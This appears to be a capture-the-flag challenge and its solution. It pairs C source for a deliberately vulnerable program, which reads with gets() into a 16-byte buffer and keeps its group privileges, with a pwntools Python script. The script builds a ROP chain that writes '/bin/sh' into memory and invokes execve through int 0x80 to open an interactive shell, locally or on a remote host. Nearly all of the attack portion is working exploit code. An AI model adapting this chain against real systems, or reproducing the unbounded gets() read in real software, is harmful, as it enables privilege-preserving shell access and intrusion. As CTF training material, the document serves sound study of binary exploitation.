Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Solution
#!/usr/bin/env python3
from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm
# initialization
elf = ELF("./vuln_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("addr", 1337)
else:
r = process([elf.path])
if args.GDB:
gdb.attach(r, gdbscript=dbginit)
return r
# main exploit script
def main():
r = conn()
# offset found from ghidra
offset = 0x1c * b'i'
# neat way to find address of gadgets
eax = p32(rop.eax.address) # pop eax; ret;
ebx = p32(rop.ebx.address) # pop ebx; ret;
ecx = p32(rop.ecx.address) # pop ecx; ret;
esi = p32(rop.esi.address) # pop esi; ret;
gets = p32(elf.symbols["gets"])
syscall = p32(rop.find_gadget(["int 0x80"])[0])
# address of .bss, where I want to write "/bin/sh"
binsh = p32(0x080e62c0)
SYS_execve = p32(11)
NULL = p32(0)
payload = offset
# call gets to write on binsh, and skip one
payload += gets + ebx + binsh
# pop 11 into eax
payload += eax + SYS_execve
# pop binsh into ebx
payload += ebx + binsh
# pop NULL into ecx
payload += ecx + NULL
# pop NULL into esi
payload += esi + NULL
# syscall
payload += syscall
# send to payload
r.sendline(payload)
# sleep for a while, ctf servers sometimes are slow
time.sleep(0.1)
# gets have been called, write "/bin/sh"
r.sendline(b'/bin/sh\0')
# enjoy the shell
r.interactive()
if __name__ == "__main__":
main()